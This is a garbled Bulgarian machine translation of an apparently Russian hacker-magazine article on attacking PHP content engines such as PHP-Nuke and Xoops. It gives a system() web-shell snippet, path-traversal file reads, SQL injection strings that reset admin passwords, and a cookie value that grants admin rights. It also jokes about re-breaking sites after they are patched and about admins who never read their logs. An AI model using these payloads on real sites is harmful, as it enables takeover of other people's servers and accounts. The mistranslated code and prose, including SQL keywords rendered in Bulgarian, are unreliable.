ПредишенСледващото

Поздрави!
Без значение какво ти казах за предимствата на PHP, най-малко един сериозен недостатък, че има точно: на PHP-скриптове хакерски тема някак слабо осветени в Runet. Всичко просто да кажа, че това е един много спукан нещо, което води до глупави аргументи, като "ако не проверяват променливи, уеб сървър, както корен, но версия пълен с дупки." В същото време, на PHP са преминали много сайтове, както и много не използва оригинални скриптове и стандарт решения, които често се подхлъзнат уязвимост. За ония, които, всъщност, ще бъдат обсъдени.

Това е една от най-популярните saytovyh двигатели с много възможности за публикуване на статии и новини с обсъждане от читателите (както xakep.ru) за автоматизиране на показване на банери. За силата на продукта може да се съди от гледна точка на ditributiva: архив на най-новата версия на двигателя тежи. Той тежи. 1.21mb! Но има един прост скрипт текстови файлове.

Въпреки това, когато много код, има много бъгове. От появата на PHP-бомбата бе установено, много дупки, че всяко гевгир obzaviduetsya). И уязвимостта на всички - както на избора: тук и DoS, и изпълнение на команди, и да играе с SQL-заявки, и да получат администраторски права, и да изпълнят всяка PHP-код.

В рамките на две години от двигателя дойдоха безброй версии на проекта, ние трябва да отдадем почит, добре поддържан, и може би най-голям Франциско пише в PHP. Не, наистина, въпреки наличието на дупки, nakolbasit такъв проект за 380 часа - това е готино).

Цялата работа се оказа в настройките на PHP - функция "URL адрес fopen обвивка" Аз бях изключен (когато се конфигурира PHP, по инерция отрязани всички ненужни опции мен). На повечето сървъри активирана, така че най-вероятно проблема няма. Но дори и в моя случай, аз лесно sharilsya диска - $ файлови = с: winntwin.ini. Разбира се, ако колата е под * никс, това няма да работи - "/" е отрязана от началото на низ $ делото. Сега разрушителната сценария, че има да се запише. А философски въпрос, но няколко разработки, аз все още се получи:

Просто и с вкус, въпреки че е възможно да се отиде по-далеч:

$ А = система ($ команда);
ехо "$ а";
?>

Този код, както знаете, ще изпълни командата на сървъра, от една променлива команда $.
Така например, по следния начин:

В PHP има два оператора - да изисква и да включват, който чете и изпълнява кода на даден файл. Това ви позволява да създадете за многократна употреба функции и константи в отделен файл и да им се обадя в другите сценарии. (Често за удобство на конфигурацията на скрипт, като всички настройки се съхраняват в един малък скрипт, където те могат лесно да редактирате човек, който не знае езика, без страх от увреждане на основния код. Или, например, е много удобно да се включва парчета html'ya да не пиша много пъти едни и същи елементи.)

Функция, както можете да видите, са полезни за програмисти и хакери). Разликата между включва (); и изискват (); Тя е невидима, но концепцията: изискват (); просто заменя по време на тълкуването на кода на даден файл, и да включва (); изчислява и изпълнява кода във външен файл за всеки открит включва изявление. Това ви позволява да използвате функцията в цикъла, че ще бъде невъзможно да се изисква. И още един. При изпълнението на тези функции връщат стойност - ако има проблем, лъжата, ако всичко е наред, а след това е вярно. Разликата е, че в случай на проблеми с сценария изисква да бъде спряно, ако включват се използва, работата ще продължи. По този начин, да изискват, като цяло, еквивалентен на кода:

Като цяло, системна функция изпълнява всяка команда на сървъра, връщане на резултата от изпълнението му. Тя, между другото, много бъгове основателна. Така например, за изпращане на поща често се използва тук като код:

Всички). Сега, след като пипер закърпи бъги двигателя, ще трябва вратичка, чрез която можете да още веднъж lomanut сайт;) Все пак, за кратко време, че ще работи - ако пиперът не е идиот, а след това, след втората заличавам, той изглежда трупи уеб сървър и веднага ти се сливат; . (((Но винаги има шанс, че той или няма достъп до регистрационните файлове (запис администратори изпращат трупи към него, (), или никакъв мозък.

Opisalovo: В по-ранни версии на двигателя, използвани в имената на статични маса (като съобщения, автори). Ясно е, че присъствието им в базата данни е много вероятно, и за да се избегне объркване, имената сега се добавят префикса на променливата $ префикс, са определени в config.php конфигурационния скрипт. SQL-сверки с базата данни, в този случай изглежда така:

mysql_query ( "UPDATE $ префикс" ._ истории. "SET
брояч = брояч + 1, където Sid = $ Sid ")

Както можете да видите, има mainfile.php на повикване, което, от своя страна, води до конфигурационния файл. Това е нещо, което просто не го направят, ние трябва да $ префикс е свободен, а ние бяхме в състояние да се бутам по негова молба. Това се прави просто - дефинирани променливи $ mainfile, $ три пъти дневно, $ Сид и сложи искане $ префикс (функция Isset () се използва, за да се определи важният факт - се определя дали една променлива, т.е., например, дали потребителят е попълнил в -Това поле). Какво да се постави в $ префикс? Ами, например, ето го: автори, определени ДКР = 'coolpass "; актуализира атомна бомба.
По този начин, ще се изпълни искането, както следва:

UPDATE автори, определени ДКР = 'coolpass "; актуализиране nuke_stories УСТАНОВЕНИ брояч = брояч + 1, където Сид = $ Сид "), които ще променят паролите на администраторите на" coolpass ".

(Между другото, аз съм подготвя материали за две-често използваните скриптове хакерски технологии: CSS и SQL-инжекция, която ще ви кажат как да направите всичко по-горе.);)

Opisalovo: Хм. дупка е толкова стара, колкото света, но това е за него по някаква причина, програмистът не се беше сетил. Е, оказва се).

Прочетете всеки файл, достъпен за потребителя. Например, възможно е да се чете конфигурационния скрипт и извади паролата за базата данни, която може да съвпада с паролата за FTP-сървър с един сайт, и така нататък. Представете си, че проверката на променливата $ л на ".." не съществува. Бях много разочарован, - е, не знам как да пиша, не пишете. Не, да се катери, а дори и да поставят своите творения на показ - не е ясно защо?

Admin;)
Уязвим Версия: 0.4.02 (последен)
Диагноза: получите администраторски права
Xploit: достъп бисквитка = ОК

Opisalovo: Честно казано, когато прочетох за тази грешка, аз цвиленето на пет минути, и след това отново се натъжи. Това е колко и какво да се пие, да се идентифицират администратора бисквитка "достъп" до стойността "ОК"? Не, ако е частен, оригиналното изписване - Всичко е наред, защото, за да научите повече за грешката може да се търси само в кода, не се копае отвън. Но проект ТОРС публикувани на сайта, така че намирането на тази глупост - за пет минути работа. Вижте сами:

Xoops - още един спукан двигател, достатъчно, помислих си, функционален, така че е много често). Дупки в това, че не са намерени толкова много - на първо място, продуктът е доста млад, и второ, програмистите се мисли за сигурност, когато пишете, но, както изглежда, не за дълго.

Opisalovo: В userinfo.php скрипт не е проверка за специални символи се в $ идентификатор на потребител, който се използва в SQL-заявка, която ви позволява да играете с много на SQL заявки за изменяне или изтриване на данни).

Fun? Да вървим!
Ако сложите в $ идентификатор на потребител "$ 7545", PHP otraportuet грешка:
-otrezano-
.
MySQL Query Грешка :. SELECT ф *, S * FROM x_users ф, x_users_status и къде.
u.uid = 7545 $ И u.uid = s.uid
Номер на грешката: 1064
Съобщение за грешка: Имате грешка в SQL синтаксис в близост до "; И u.uid = s.uid "в линия 1
.
-otrezano-

Това помага много - виждате ли какво има вътре SQL-заявка, която ви позволява да се наслаждавате на изобилие;)! Ами, например. направите тук:

$ UID = 2; актуализация x_users парола = 'coolpass "; изберете * потребители x_from където UID = '1'

Сега изпрати SQL-заявка изглежда така:

SELECT ф. *, S * ОТ x_users ф, x_users_status Там

u.uid = 2; актуализация x_users парола = 'coolpass "; изберете * потребители x_from където UID = '1'

Ясно е, че вместо "актуализация x_users." Може да бъде всеки SQL-заявка, правото на изпълнението на които е в текущия потребител SQL-Foot.

Този параграф е посветен на тези, които не знаят как да търсят уязвими места. Ако не сте един от тях - пропускане на линията, за да не загубите нищо. И така Нека да започнем с основите. Какво е скрипт? В допълнение към работещ на сървъра страна на програмата, това е просто един файл. И като всеки друг файл, който работи в сайта, са хипервръзки към други страници от него.

Послепис
Казах ти, че около три bazhnye engine'ah сайт. Показа, с примера си най-характерни за PHP уязвимост - предприема всички спукан PHP-скрипт от Bugtraq, там е вероятно да бъде абсолютно същата дупка. Надявам се, че не vosprimesh статия като ръководство за skriptkiddingu и осъзнавам, че хакерството PHP е не по-малко интересно от Perl).

P.P.S. Всички грешки са тествани в местен уеб сървър Apache под WinNT завинтва с третата версия на PHP.
Успех;)

Свързани статии

Подкрепете проекта - споделете линка, благодаря!